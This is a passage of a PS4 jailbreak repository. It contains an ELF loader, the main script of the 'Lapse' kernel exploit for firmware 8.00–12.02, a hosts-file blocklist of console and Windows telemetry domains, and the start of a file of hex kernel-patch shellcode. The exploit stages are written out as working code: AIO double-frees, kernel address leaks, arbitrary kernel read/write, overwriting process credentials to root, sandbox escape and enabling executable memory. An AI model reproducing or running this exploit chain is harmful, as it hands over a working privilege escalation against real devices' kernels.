fake_rop[i++] = 9n; // SIGKILL 184 | fake_rop[i++] = g.get('pop_rax'); 185 | fake_rop[i++] = 0x25n; 186 | fake_rop[i++] = syscall_wrapper; 187 | 188 | write64(add_rop_smash_code_store, 0xab00260325n); 189 | fake_rw[59] = (fake_frame & 0xffffffffn); 190 | rop_smash(fake_obj_arr[0]); 191 | } 192 | 193 | 194 | async function elf_run(elf_entry_point, payloadout) { 195 | logger.flush(); 196 | const rwpipe = malloc(8); 197 | const rwpair = malloc(8); 198 | const args = malloc(0x30); 199 | const thr_handle_addr = malloc(8); 200 | const timespec_addr = malloc(16); // timespec structure: {tv_sec, tv_nsec} 201 | 202 | write32_uncompressed(rwpipe, ipv6_kernel_rw.data.pipe_read_fd); 203 | write32_uncompressed(rwpipe + 0x4n, ipv6_kernel_rw.data.pipe_write_fd); 204 | 205 | write32_uncompressed(rwpair, ipv6_kernel_rw.data.master_sock); 206 | write32_uncompressed(rwpair + 0x4n, ipv6_kernel_rw.data.victim_sock); 207 | 208 | // Setup timespec for nanosleep: 0.02 second delay 209 | write64_uncompressed(timespec_addr, 0n); // tv_sec = 0 second 210 | write64_uncompressed(timespec_addr + 8n, 250000000n); // tv_nsec = 10000000 nanoseconds 211 | 212 | // We are reusing syscall_wrapper from gettimeofdayAddr 213 | write64_uncompressed(args + 0x00n, syscall_wrapper - 0x7n); // arg1 = syscall wrapper 214 | write64_uncompressed(args + 0x08n, rwpipe); // arg2 = int *rwpipe[2] 215 | write64_uncompressed(args + 0x10n, rwpair); // arg3 = int *rwpair[2] 216 | write64_uncompressed(args + 0x18n, ipv6_kernel_rw.data.pipe_addr); // arg4 = uint64_t kpipe_addr 217 | write64_uncompressed(args + 0x20n, kernel.addr.data_base); // arg5 = uint64_t kdata_base_addr 218 | write64_uncompressed(args + 0x28n, payloadout); // arg6 = int *payloadout 219 | 220 | // Spawn elf in new thread, sleep, then exit 221 | spawn_thread_and_wait(thr_handle_addr, elf_entry_point, args, timespec_addr); 222 | 223 | // After this point we cannot use the ROP (process will exit) 224 | } 225 | 226 | 227 | async function elf_loader() { 228 | try { 229 | 230 | check_jailbroken(); 231 | 232 | logger.log("Loading elfldr.elf from proxy"); 233 | logger.flush(); 234 | 235 | const elf_data = malloc(400*1024); 236 | let elf_size = fetch_file("elfldr.elf", elf_data); 237 | 238 | if(elf_size < 1000) { 239 | throw new Error("Something went wrong while reading elfldr.elf"); 240 | } 241 | const elf_entry_point = await elf_parse(elf_data); // We pass the buffer pointer directly 242 | 243 | const payloadout = malloc(4); 244 | await elf_run(elf_entry_point, payloadout); 245 | 246 | logger.log("Done"); 247 | logger.flush(); 248 | 249 | } catch (e) { 250 | logger.log("elfloader js Error: " + e.message); 251 | logger.log(e.stack); 252 | throw e; 253 | } 254 | } 255 | 256 | elf_loader(); 257 | -------------------------------------------------------------------------------- /PS4/payloads/lapse/lapse_main.js: -------------------------------------------------------------------------------- 1 | /* 2 | PS4 Lapse - Main Execution 3 | 4 | Runs stages 0-5 (jailbreak), then calls run_payload() if defined. 5 | Append your payload after this file to chain execution. 6 | */ 7 | 8 | // === Main Execution === 9 | 10 | (function() { 11 | // Cleanup function - closes exploit resources 12 | function cleanup() { 13 | logger.log("Cleaning up exploit resources..."); 14 | 15 | // Close block/unblock socket pair 16 | if (typeof block_fd !== 'undefined' && block_fd !== 0xffffffffffffffffn) { 17 | syscall(SYSCALL.close, block_fd); 18 | } 19 | if (typeof unblock_fd !== 'undefined' && unblock_fd !== 0xffffffffffffffffn) { 20 | syscall(SYSCALL.close, unblock_fd); 21 | } 22 | 23 | // Close all sds sockets 24 | if (typeof sds !== 'undefined' && sds !== null) { 25 | for (let i = 0; i < sds.length; i++) { 26 | if (sds[i] !== 0xffffffffffffffffn) { 27 | syscall(SYSCALL.close, sds[i]); 28 | } 29 | } 30 | } 31 | 32 | // Close all sds_alt sockets 33 | if (typeof sds_alt !== 'undefined' && sds_alt !== null) { 34 | for (let i = 0; i < sds_alt.length; i++) { 35 | if (sds_alt[i] !== 0xffffffffffffffffn) { 36 | syscall(SYSCALL.close, sds_alt[i]); 37 | } 38 | } 39 | } 40 | 41 | // Restore CPU core and rtprio 42 | if (typeof prev_core !== 'undefined' && prev_core !== -1) { 43 | pin_to_core(prev_core); 44 | } 45 | if (typeof prev_rtprio !== 'undefined' && prev_rtprio !== 0n) { 46 | set_rtprio(prev_rtprio); 47 | } 48 | 49 | logger.log("Exploit cleanup complete"); 50 | logger.flush(); 51 | } 52 | 53 | try { 54 | logger.log("=== PS4 Lapse Jailbreak ==="); 55 | logger.flush(); 56 | 57 | FW_VERSION = get_fwversion(); 58 | logger.log("Detected PS4 firmware: " + FW_VERSION); 59 | logger.flush(); 60 | 61 | function compare_version(a, b) { 62 | const [amaj, amin] = a.split('.').map(Number); 63 | const [bmaj, bmin] = b.split('.').map(Number); 64 | return amaj === bmaj ? amin - bmin : amaj - bmaj; 65 | } 66 | 67 | if (compare_version(FW_VERSION, "8.00") < 0 || compare_version(FW_VERSION, "12.02") > 0) { 68 | logger.log("Unsupported PS4 firmware\nSupported: 8.00-12.02\nAborting..."); 69 | logger.flush(); 70 | send_notification("Unsupported PS4 firmware\nAborting..."); 71 | return; 72 | } 73 | 74 | kernel_offset = get_kernel_offset(FW_VERSION); 75 | logger.log("Kernel offsets loaded for FW " + FW_VERSION); 76 | logger.flush(); 77 | 78 | // === STAGE 0: Setup === 79 | logger.log("\n=== STAGE 0: Setup ==="); 80 | const setup_success = setup(); 81 | if (!setup_success) { 82 | logger.log("Setup failed"); 83 | send_notification("Lapse Failed\nReboot and try again"); 84 | cleanup(); 85 | return; 86 | } 87 | logger.log("Setup completed"); 88 | logger.flush(); 89 | 90 | // === STAGE 1 === 91 | logger.log("\n=== STAGE 1: Double-free AIO ==="); 92 | const stage1_start = Date.now(); 93 | const sd_pair = double_free_reqs2(); 94 | const stage1_time = Date.now() - stage1_start; 95 | 96 | if (sd_pair === null) { 97 | logger.log("[FAILED] Stage 1"); 98 | send_notification("Lapse Failed\nReboot and try again"); 99 | cleanup(); 100 | return; 101 | } 102 | logger.log("[OK] Stage 1: " + stage1_time + "ms"); 103 | logger.flush(); 104 | 105 | // === STAGE 2 === 106 | logger.log("\n=== STAGE 2: Leak kernel addresses ==="); 107 | const stage2_start = Date.now(); 108 | const leak_result = leak_kernel_addrs(sd_pair, sds); 109 | const stage2_time = Date.now() - stage2_start; 110 | 111 | if (leak_result === null) { 112 | logger.log("[FAILED] Stage 2"); 113 | send_notification("Lapse Failed\nReboot and try again"); 114 | cleanup(); 115 | return; 116 | } 117 | logger.log("[OK] Stage 2: " + stage2_time + "ms"); 118 | logger.flush(); 119 | 120 | // === STAGE 3 === 121 | logger.log("\n=== STAGE 3: Double free SceKernelAioRWRequest ==="); 122 | const stage3_start = Date.now(); 123 | const pktopts_sds = double_free_reqs1( 124 | leak_result.reqs1_addr, 125 | leak_result.target_id, 126 | leak_result.evf, 127 | sd_pair[0], 128 | sds, 129 | sds_alt, 130 | leak_result.fake_reqs3_addr 131 | ); 132 | const stage3_time = Date.now() - stage3_start; 133 | 134 | syscall(SYSCALL.close, BigInt(leak_result.fake_reqs3_sd)); 135 | 136 | if (pktopts_sds === null) { 137 | logger.log("[FAILED] Stage 3"); 138 | send_notification("Lapse Failed\nReboot and try again"); 139 | cleanup(); 140 | return; 141 | } 142 | logger.log("[OK] Stage 3: " + stage3_time + "ms"); 143 | logger.flush(); 144 | 145 | // === STAGE 4 === 146 | logger.log("\n=== STAGE 4: Get arbitrary kernel read/write ==="); 147 | const stage4_start = Date.now(); 148 | const arw_result = make_kernel_arw( 149 | pktopts_sds, 150 | leak_result.reqs1_addr, 151 | leak_result.kernel_addr, 152 | sds, 153 | sds_alt, 154 | leak_result.aio_info_addr 155 | ); 156 | const stage4_time = Date.now() - stage4_start; 157 | 158 | if (arw_result === null) { 159 | logger.log("[FAILED] Stage 4"); 160 | send_notification("Lapse Failed\nReboot and try again"); 161 | cleanup(); 162 | return; 163 | } 164 | logger.log("[OK] Stage 4: " + stage4_time + "ms"); 165 | logger.flush(); 166 | 167 | // === STAGE 5: Jailbreak === 168 | logger.log("\n=== STAGE 5: Jailbreak ==="); 169 | const stage5_start = Date.now(); 170 | 171 | const OFFSET_P_UCRED = 0x40n; 172 | const proc = kernel.addr.curproc; 173 | 174 | // Calculate kernel base 175 | kernel.addr.base = kernel.addr.inside_kdata - kernel_offset.EVF_OFFSET; 176 | logger.log("Kernel base: " + hex(kernel.addr.base)); 177 | 178 | const uid_before = Number(syscall(SYSCALL.getuid)); 179 | const sandbox_before = Number(syscall(SYSCALL.is_in_sandbox)); 180 | logger.log("BEFORE: uid=" + uid_before + ", sandbox=" + sandbox_before); 181 | 182 | // Patch ucred 183 | const proc_fd = kernel.read_qword(proc + kernel_offset.PROC_FD); 184 | const ucred = kernel.read_qword(proc + OFFSET_P_UCRED); 185 | 186 | kernel.write_dword(ucred + 0x04n, 0n); // cr_uid 187 | kernel.write_dword(ucred + 0x08n, 0n); // cr_ruid 188 | kernel.write_dword(ucred + 0x0Cn, 0n); // cr_svuid 189 | kernel.write_dword(ucred + 0x10n, 1n); // cr_ngroups 190 | kernel.write_dword(ucred + 0x14n, 0n); // cr_rgid 191 | 192 | const prison0 = kernel.read_qword(kernel.addr.base + kernel_offset.PRISON0); 193 | kernel.write_qword(ucred + 0x30n, prison0); 194 | 195 | kernel.write_qword(ucred + 0x60n, 0xFFFFFFFFFFFFFFFFn); // sceCaps 196 | kernel.write_qword(ucred + 0x68n, 0xFFFFFFFFFFFFFFFFn); 197 | 198 | const rootvnode = kernel.read_qword(kernel.addr.base + kernel_offset.ROOTVNODE); 199 | kernel.write_qword(proc_fd + 0x10n, rootvnode); // fd_rdir 200 | kernel.write_qword(proc_fd + 0x18n, rootvnode); // fd_jdir 201 | 202 | const uid_after = Number(syscall(SYSCALL.getuid)); 203 | const sandbox_after = Number(syscall(SYSCALL.is_in_sandbox)); 204 | logger.log("AFTER: uid=" + uid_after + ", sandbox=" + sandbox_after); 205 | 206 | if (uid_after === 0 && sandbox_after === 0) { 207 | logger.log("Sandbox escape complete!"); 208 | } else { 209 | logger.log("[WARNING] Sandbox escape may have failed"); 210 | } 211 | logger.flush(); 212 | 213 | // === Apply kernel patches via kexec === 214 | // Uses syscall_raw() which sets rax manually for syscalls without gadgets 215 | logger.log("Applying kernel patches..."); 216 | logger.flush(); 217 | const kpatch_result = apply_kernel_patches(FW_VERSION); 218 | if (kpatch_result) { 219 | logger.log("Kernel patches applied successfully!"); 220 | 221 | // Comprehensive kernel patch verification 222 | logger.log("Verifying kernel patches..."); 223 | let all_patches_ok = true; 224 | 225 | // 1. Verify mmap RWX patch (0x33 -> 0x37 at two locations) 226 | const mmap_offsets = get_mmap_patch_offsets(FW_VERSION); 227 | if (mmap_offsets) { 228 | const byte1 = Number(ipv6_kernel_rw.ipv6_kread8(kernel.addr.base + BigInt(mmap_offsets[0])) & 0xffn); 229 | const byte2 = Number(ipv6_kernel_rw.ipv6_kread8(kernel.addr.base + BigInt(mmap_offsets[1])) & 0xffn); 230 | if (byte1 === 0x37 && byte2 === 0x37) { 231 | logger.log(" [OK] mmap RWX patch"); 232 | } else { 233 | logger.log(" [FAIL] mmap RWX: [" + hex(mmap_offsets[0]) + "]=" + hex(byte1) + " [" + hex(mmap_offsets[1]) + "]=" + hex(byte2)); 234 | all_patches_ok = false; 235 | } 236 | } else { 237 | logger.log(" [SKIP] mmap RWX (no offsets for FW " + FW_VERSION + ")"); 238 | } 239 | 240 | // 2. Test mmap RWX actually works by trying to allocate RWX memory 241 | try { 242 | const PROT_RWX = 0x7n; // READ | WRITE | EXEC 243 | const MAP_ANON = 0x1000n; 244 | const MAP_PRIVATE = 0x2n; 245 | const test_addr = syscall(SYSCALL.mmap, 0n, 0x1000n, PROT_RWX, MAP_PRIVATE | MAP_ANON, 0xffffffffffffffffn, 0n); 246 | if (test_addr < 0xffff800000000000n) { 247 | logger.log(" [OK] mmap RWX functional @ " + hex(test_addr)); 248 | // Unmap the test allocation 249 | syscall(SYSCALL.munmap, test_addr, 0x1000n); 250 | } else { 251 | logger.log(" [FAIL] mmap RWX functional: " + hex(test_addr)); 252 | all_patches_ok = false; 253 | } 254 | } catch (e) { 255 | logger.log(" [FAIL] mmap RWX test error: " + e.message + "\n" + e.stack); 256 | all_patches_ok = false; 257 | } 258 | 259 | if (all_patches_ok) { 260 | logger.log("All kernel patches verified OK!"); 261 | } else { 262 | logger.log("[WARNING] Some kernel patches may have failed"); 263 | } 264 | } else { 265 | logger.log("[WARNING] Kernel patches failed - continuing without patches"); 266 | } 267 | 268 | const stage5_time = Date.now() - stage5_start; 269 | logger.log("[OK] Stage 5: " + stage5_time + "ms - JAILBROKEN"); 270 | logger.flush(); 271 | 272 | const total_time = stage1_time + stage2_time + stage3_time + stage4_time + stage5_time; 273 | logger.log("\n========================================"); 274 | logger.log(" JAILBREAK COMPLETE! Total: " + total_time + "ms"); 275 | logger.log("========================================"); 276 | logger.flush(); 277 | 278 | 279 | } catch (e) { 280 | logger.log("Lapse Error: " + e.message); 281 | logger.log(e.stack); 282 | logger.flush(); 283 | send_notification("Lapse Failed\nReboot and try again"); 284 | cleanup(); 285 | return; 286 | } 287 | 288 | // Cleanup on success too 289 | cleanup(); 290 | })(); 291 | -------------------------------------------------------------------------------- /hosts.txt: -------------------------------------------------------------------------------- 1 | # PlayStation Telemetry + Firmware Updates 2 | # https://github.com/Al-Azif/exploit-host-cc/blob/e62af4f371b994d4a62e941df8d3e2d2a1637d7e/main.py 3 | # urls from: https://github.com/illusion0001/hosts/blob/main/hosts 4 | 5 | #protect Y2JB 6 | youtube.com 7 | gstatic.com 8 | 9 | 10 | tmdb.np.dl.playstation.net 11 | ps5.np.playstation.net 12 | ps4.np.playstation.net 13 | urlconfig.api.playstation.com 14 | smetrics.aem.playstation.com 15 | envelope1.np.dl.playstation.net 16 | envelope2.np.dl.playstation.net 17 | envelope3.np.dl.playstation.net 18 | cc.prod.gaikai.com 19 | telemetry-console.api.playstation.com 20 | ena.net.playstation.net 21 | crepo.ww.dl.playstation.net 22 | zeke.scea.com 23 | qgve.dl.playstation.net 24 | ps4updptl.sa.np.community.playstation.net 25 | # This one is always being checked every few seconds on PS4 26 | event.api.np.km.playstation.net 27 | static-resource.np.community.playstation.net 28 | update.net.playstation.net 29 | us.np.stun.playstation.net 30 | ps4-system.sec.np.dl.playstation.net 31 | rnps-crl.dl.playstation.net 32 | friends.rnps.dl.playstation.net 33 | party.rnps.dl.playstation.net 34 | csla.np.community.playstation.net 35 | fswitch.dl.playstation.net 36 | cfss.dunbar.scea.com 37 | uam-fs.rnps.dl.playstation.net 38 | settings.rnps.dl.playstation.net 39 | millenniumfalcon.rnps.dl.playstation.net 40 | notification-overlay.rnps.dl.playstation.net 41 | profile.rnps.dl.playstation.net 42 | search.rnps.dl.playstation.net 43 | monte-carlo.rnps.dl.playstation.net 44 | gaming-lounge.rnps.dl.playstation.net 45 | trophy.rnps.dl.playstation.net 46 | lfps-bc.rnps.dl.playstation.net 47 | igc-browse.rnps.dl.playstation.net 48 | bgft.rnps.dl.playstation.net 49 | service-hub-psnow.rnps.dl.playstation.net 50 | game-hub.rnps.dl.playstation.net 51 | action-cards-host-app.rnps.dl.playstation.net 52 | service-hub-psplus.rnps.dl.playstation.net 53 | titlestore-preview.rnps.dl.playstation.net 54 | broadcast.rnps.dl.playstation.net 55 | profile-dialog.rnps.dl.playstation.net 56 | elysion.rnps.dl.playstation.net 57 | agent-popupgui.rnps.dl.playstation.net 58 | ppr-bgs.rnps.dl.playstation.net 59 | universal-checkout.rnps.dl.playstation.net 60 | explore-hub.rnps.dl.playstation.net 61 | x-wing.rnps.dl.playstation.net 62 | system-message-client.rnps.dl.playstation.net 63 | library.rnps.dl.playstation.net 64 | cosmiccube.rnps.dl.playstation.net 65 | millenniumfalcon-dialog.rnps.dl.playstation.net 66 | game-hub-preview-launcher.rnps.dl.playstation.net 67 | g2p-dialog.rnps.dl.playstation.net 68 | player-review.rnps.dl.playstation.net 69 | unsupported-title-hub.rnps.dl.playstation.net 70 | compilation-disc-hub.rnps.dl.playstation.net 71 | legal-docs.rnps.dl.playstation.net 72 | screen-share.rnps.dl.playstation.net 73 | onboard-download.rnps.dl.playstation.net 74 | wishlist.rnps.dl.playstation.net 75 | rnps-vr-onboarding.rnps.dl.playstation.net 76 | ppr-crl.rnps.dl.playstation.net 77 | home.rnps.dl.playstation.net 78 | control-center.rnps.dl.playstation.net 79 | player-selection-dialog.rnps.dl.playstation.net 80 | invitation-dialog.rnps.dl.playstation.net 81 | cfss.crs.playstation.net 82 | ps4updptl.jp.np.community.playstation.net 83 | djp01.ps3.update.playstation.net 84 | dus01.ps3.update.playstation.net 85 | deu01.ps3.update.playstation.net 86 | dkr01.ps3.update.playstation.net 87 | duk01.ps3.update.playstation.net 88 | dmx01.ps3.update.playstation.net 89 | dau01.ps3.update.playstation.net 90 | dsa01.ps3.update.playstation.net 91 | dtw01.ps3.update.playstation.net 92 | dru01.ps3.update.playstation.net 93 | dcn01.ps3.update.playstation.net 94 | dhk01.ps3.update.playstation.net 95 | dbr01.ps3.update.playstation.net 96 | djp01.ps4.update.playstation.net 97 | dus01.ps4.update.playstation.net 98 | deu01.ps4.update.playstation.net 99 | dkr01.ps4.update.playstation.net 100 | duk01.ps4.update.playstation.net 101 | dmx01.ps4.update.playstation.net 102 | dau01.ps4.update.playstation.net 103 | dsa01.ps4.update.playstation.net 104 | dtw01.ps4.update.playstation.net 105 | dru01.ps4.update.playstation.net 106 | dcn01.ps4.update.playstation.net 107 | dhk01.ps4.update.playstation.net 108 | dbr01.ps4.update.playstation.net 109 | djp01.ps5.update.playstation.net 110 | dus01.ps5.update.playstation.net 111 | deu01.ps5.update.playstation.net 112 | dkr01.ps5.update.playstation.net 113 | duk01.ps5.update.playstation.net 114 | dmx01.ps5.update.playstation.net 115 | dau01.ps5.update.playstation.net 116 | dsa01.ps5.update.playstation.net 117 | dtw01.ps5.update.playstation.net 118 | dru01.ps5.update.playstation.net 119 | dcn01.ps5.update.playstation.net 120 | dhk01.ps5.update.playstation.net 121 | dbr01.ps5.update.playstation.net 122 | djp01.psp2.update.playstation.net 123 | dus01.psp2.update.playstation.net 124 | deu01.psp2.update.playstation.net 125 | dkr01.psp2.update.playstation.net 126 | duk01.psp2.update.playstation.net 127 | dmx01.psp2.update.playstation.net 128 | dau01.psp2.update.playstation.net 129 | dsa01.psp2.update.playstation.net 130 | dtw01.psp2.update.playstation.net 131 | dru01.psp2.update.playstation.net 132 | dcn01.psp2.update.playstation.net 133 | dhk01.psp2.update.playstation.net 134 | dbr01.psp2.update.playstation.net 135 | fjp01.ps3.update.playstation.net 136 | fus01.ps3.update.playstation.net 137 | feu01.ps3.update.playstation.net 138 | fkr01.ps3.update.playstation.net 139 | fuk01.ps3.update.playstation.net 140 | fmx01.ps3.update.playstation.net 141 | fau01.ps3.update.playstation.net 142 | fsa01.ps3.update.playstation.net 143 | ftw01.ps3.update.playstation.net 144 | fru01.ps3.update.playstation.net 145 | fcn01.ps3.update.playstation.net 146 | fhk01.ps3.update.playstation.net 147 | fbr01.ps3.update.playstation.net 148 | fjp01.ps4.update.playstation.net 149 | fus01.ps4.update.playstation.net 150 | feu01.ps4.update.playstation.net 151 | fkr01.ps4.update.playstation.net 152 | fuk01.ps4.update.playstation.net 153 | fmx01.ps4.update.playstation.net 154 | fau01.ps4.update.playstation.net 155 | fsa01.ps4.update.playstation.net 156 | ftw01.ps4.update.playstation.net 157 | fru01.ps4.update.playstation.net 158 | fcn01.ps4.update.playstation.net 159 | fhk01.ps4.update.playstation.net 160 | fbr01.ps4.update.playstation.net 161 | fjp01.ps5.update.playstation.net 162 | fus01.ps5.update.playstation.net 163 | feu01.ps5.update.playstation.net 164 | fkr01.ps5.update.playstation.net 165 | fuk01.ps5.update.playstation.net 166 | fmx01.ps5.update.playstation.net 167 | fau01.ps5.update.playstation.net 168 | fsa01.ps5.update.playstation.net 169 | ftw01.ps5.update.playstation.net 170 | fru01.ps5.update.playstation.net 171 | fcn01.ps5.update.playstation.net 172 | fhk01.ps5.update.playstation.net 173 | fbr01.ps5.update.playstation.net 174 | fjp01.psp2.update.playstation.net 175 | fus01.psp2.update.playstation.net 176 | feu01.psp2.update.playstation.net 177 | fkr01.psp2.update.playstation.net 178 | fuk01.psp2.update.playstation.net 179 | fmx01.psp2.update.playstation.net 180 | fau01.psp2.update.playstation.net 181 | fsa01.psp2.update.playstation.net 182 | ftw01.psp2.update.playstation.net 183 | fru01.psp2.update.playstation.net 184 | fcn01.psp2.update.playstation.net 185 | fhk01.psp2.update.playstation.net 186 | fbr01.psp2.update.playstation.net 187 | hjp01.ps4.update.playstation.net 188 | hus01.ps4.update.playstation.net 189 | heu01.ps4.update.playstation.net 190 | hkr01.ps4.update.playstation.net 191 | huk01.ps4.update.playstation.net 192 | hmx01.ps4.update.playstation.net 193 | hau01.ps4.update.playstation.net 194 | hsa01.ps4.update.playstation.net 195 | htw01.ps4.update.playstation.net 196 | hru01.ps4.update.playstation.net 197 | hcn01.ps4.update.playstation.net 198 | hhk01.ps4.update.playstation.net 199 | hbr01.ps4.update.playstation.net 200 | hjp01.ps5.update.playstation.net 201 | hus01.ps5.update.playstation.net 202 | heu01.ps5.update.playstation.net 203 | hkr01.ps5.update.playstation.net 204 | huk01.ps5.update.playstation.net 205 | hmx01.ps5.update.playstation.net 206 | hau01.ps5.update.playstation.net 207 | hsa01.ps5.update.playstation.net 208 | htw01.ps5.update.playstation.net 209 | hru01.ps5.update.playstation.net 210 | hcn01.ps5.update.playstation.net 211 | hhk01.ps5.update.playstation.net 212 | hbr01.ps5.update.playstation.net 213 | 214 | # Tenda device listener? 215 | # https://github.com/mrxehmad/api.cloud.tenda.com.cn 216 | api.cloud.tenda.com.cn 217 | 218 | # Insomniac Games 219 | i31.api.wwsga.me 220 | 221 | # Windows Telemetry 222 | # https://github.com/W4RH4WK/Debloat-Windows-10/blob/d87b4275407e2d8953c1c1d17530b0751c0c97bc/scripts/block-telemetry.ps1#L22-L198 223 | 184-86-53-99.deploy.static.akamaitechnologies.com 224 | a-0001.a-msedge.net 225 | a-0002.a-msedge.net 226 | a-0003.a-msedge.net 227 | a-0004.a-msedge.net 228 | a-0005.a-msedge.net 229 | a-0006.a-msedge.net 230 | a-0007.a-msedge.net 231 | a-0008.a-msedge.net 232 | a-0009.a-msedge.net 233 | a1621.g.akamai.net 234 | a1856.g2.akamai.net 235 | a1961.g.akamai.net 236 | a978.i6g1.akamai.net 237 | a.ads1.msn.com 238 | a.ads2.msads.net 239 | a.ads2.msn.com 240 | ac3.msn.com 241 | ad.doubleclick.net 242 | adnexus.net 243 | adnxs.com 244 | ads1.msads.net 245 | ads1.msn.com 246 | ads.msn.com 247 | aidps.atdmt.com 248 | aka-cdn-ns.adtech.de 249 | a-msedge.net 250 | any.edge.bing.com 251 | a.rad.msn.com 252 | az361816.vo.msecnd.net 253 | az512334.vo.msecnd.net 254 | b.ads1.msn.com 255 | b.ads2.msads.net 256 | bingads.microsoft.com 257 | b.rad.msn.com 258 | bs.serving-sys.com 259 | c.atdmt.com 260 | cdn.atdmt.com 261 | cds26.ams9.msecn.net 262 | choice.microsoft.com 263 | choice.microsoft.com.nsatc.net 264 | compatexchange.cloudapp.net 265 | corpext.msitadfs.glbdns2.microsoft.com 266 | corp.sts.microsoft.com 267 | cs1.wpc.v0cdn.net 268 | db3aqu.atdmt.com 269 | df.telemetry.microsoft.com 270 | diagnostics.support.microsoft.com 271 | e2835.dspb.akamaiedge.net 272 | e7341.g.akamaiedge.net 273 | e7502.ce.akamaiedge.net 274 | e8218.ce.akamaiedge.net 275 | ec.atdmt.com 276 | fe2.update.microsoft.com.akadns.net 277 | feedback.microsoft-hohm.com 278 | feedback.search.microsoft.com 279 | feedback.windows.com 280 | flex.msn.com 281 | g.msn.com 282 | h1.msn.com 283 | h2.msn.com 284 | hostedocsp.globalsign.com 285 | i1.services.social.microsoft.com 286 | i1.services.social.microsoft.com.nsatc.net 287 | lb1.www.ms.akadns.net 288 | live.rads.msn.com 289 | m.adnxs.com 290 | msedge.net 291 | msnbot-65-55-108-23.search.msn.com 292 | msntest.serving-sys.com 293 | oca.telemetry.microsoft.com 294 | oca.telemetry.microsoft.com.nsatc.net 295 | onesettings-db5.metron.live.nsatc.net 296 | pre.footprintpredict.com 297 | preview.msn.com 298 | rad.live.com 299 | rad.msn.com 300 | redir.metaservices.microsoft.com 301 | reports.wes.df.telemetry.microsoft.com 302 | schemas.microsoft.akadns.net 303 | secure.adnxs.com 304 | secure.flashtalking.com 305 | services.wes.df.telemetry.microsoft.com 306 | settings-sandbox.data.microsoft.com 307 | sls.update.microsoft.com.akadns.net 308 | sqm.df.telemetry.microsoft.com 309 | sqm.telemetry.microsoft.com 310 | sqm.telemetry.microsoft.com.nsatc.net 311 | ssw.live.com 312 | static.2mdn.net 313 | statsfe1.ws.microsoft.com 314 | statsfe2.update.microsoft.com.akadns.net 315 | statsfe2.ws.microsoft.com 316 | survey.watson.microsoft.com 317 | telecommand.telemetry.microsoft.com 318 | telecommand.telemetry.microsoft.com.nsatc.net 319 | telemetry.appex.bing.net 320 | telemetry.microsoft.com 321 | telemetry.urs.microsoft.com 322 | vortex-bn2.metron.live.com.nsatc.net 323 | vortex-cy2.metron.live.com.nsatc.net 324 | vortex.data.microsoft.com 325 | vortex-sandbox.data.microsoft.com 326 | vortex-win.data.microsoft.com 327 | cy2.vortex.data.microsoft.com.akadns.net 328 | watson.live.com 329 | watson.microsoft.com 330 | watson.ppe.telemetry.microsoft.com 331 | watson.telemetry.microsoft.com 332 | watson.telemetry.microsoft.com.nsatc.net 333 | wes.df.telemetry.microsoft.com 334 | win10.ipv6.microsoft.com 335 | www.bingads.microsoft.com 336 | www.go.microsoft.akadns.net 337 | client.wns.windows.com 338 | wdcpalt.microsoft.com 339 | settings-ssl.xboxlive.com 340 | settings-ssl.xboxlive.com-c.edgekey.net 341 | settings-ssl.xboxlive.com-c.edgekey.net.globalredir.akadns.net 342 | e87.dspb.akamaidege.net 343 | insiderservice.microsoft.com 344 | insiderservice.trafficmanager.net 345 | e3843.g.akamaiedge.net 346 | flightingserviceweurope.cloudapp.net 347 | static.ads-twitter.com 348 | www-google-analytics.l.google.com 349 | p.static.ads-twitter.com 350 | hubspot.net.edge.net 351 | e9483.a.akamaiedge.net 352 | stats.g.doubleclick.net 353 | stats.l.doubleclick.net 354 | adservice.google.de 355 | adservice.google.com 356 | googleads.g.doubleclick.net 357 | pagead46.l.doubleclick.net 358 | hubspot.net.edgekey.net 359 | insiderppe.cloudapp.net 360 | livetileedge.dsx.mp.microsoft.com 361 | fe2.update.microsoft.com.akadns.net 362 | s0.2mdn.net 363 | statsfe2.update.microsoft.com.akadns.net 364 | survey.watson.microsoft.com 365 | view.atdmt.com 366 | watson.microsoft.com 367 | watson.ppe.telemetry.microsoft.com 368 | watson.telemetry.microsoft.com 369 | watson.telemetry.microsoft.com.nsatc.net 370 | wes.df.telemetry.microsoft.com 371 | m.hotmail.com 372 | apps.skype.com 373 | c.msn.com 374 | pricelist.skype.com 375 | s.gateway.messenger.live.com 376 | ui.skype.com 377 | 378 | # Nvidia 379 | gfwsl.geforce.com 380 | gfe.geforce.com 381 | telemetry.nvidia.com 382 | gfe.nvidia.com 383 | telemetry.gfe.nvidia.com 384 | # This one is always being checked every few seconds 385 | events.gfe.nvidia.com 386 | ssl.google-analytics.com 387 | nvidia.tt.omtrdc.net 388 | services.gfe.nvidia.com 389 | -------------------------------------------------------------------------------- /PS4/payloads/lapse/kernel_offset.js: -------------------------------------------------------------------------------- 1 | // PS4 Kernel Offsets for Lapse exploit 2 | // Source: https://github.com/Helloyunho/yarpe/blob/main/payloads/lapse.py 3 | 4 | // Kernel patch shellcode (hex strings) - patches security checks in kernel 5 | // These are executed via kexec after jailbreak to enable full functionality 6 | const kpatch_shellcode = { 7 | "9.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3", 8 | "9.03": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3", 9 | "9.50": 